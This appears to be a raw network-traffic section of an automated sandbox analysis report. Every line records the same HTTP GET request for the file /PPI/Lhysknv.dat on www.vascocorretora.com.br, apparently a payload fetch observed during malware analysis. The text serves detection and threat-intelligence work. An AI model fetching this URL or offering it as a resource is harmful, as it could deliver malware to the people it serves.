Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
